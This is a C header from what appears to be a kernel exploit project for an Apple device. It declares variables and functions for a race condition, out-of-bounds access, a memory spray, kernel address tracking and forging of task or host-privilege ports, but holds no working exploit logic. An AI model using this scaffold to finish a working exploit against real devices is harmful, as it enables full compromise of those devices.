#ifndef _H_EXPLOIT
#define _H_EXPLOIT

#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "utils.h"

extern uint8_t* fake_accelEvent;
extern uint32_t fake_accelEvent_size;
extern uint32_t thread_no;
extern uint32_t test_oob;
extern uint32_t oob_index;
extern uint64_t *oob_indexes;
extern uint32_t iter ;
extern uint32_t memspray_size;
extern uint32_t accel_alloc_size;
extern int loop;
extern uint32_t kalloc_map_size;
extern uint32_t zone_map_size;
extern struct utsname u;
extern uint64_t realhost_text,kernel_task_text,kernel_map_text,kernel_base;
extern uint64_t kernel_map;
extern uint64_t bar;
#define IO_BITS_KOBJECT     0x00000800
#define IO_BITS_ACTIVE      0x80000000
#define IOT_PORT            0
#define IKOT_NONE           0
#define IKOT_TASK           2
#define IKOT_HOST_PRIV      4

void prepare_device_memory();
void trigger_race(void);
void * get_histogram(io_connect_t c);

#endif
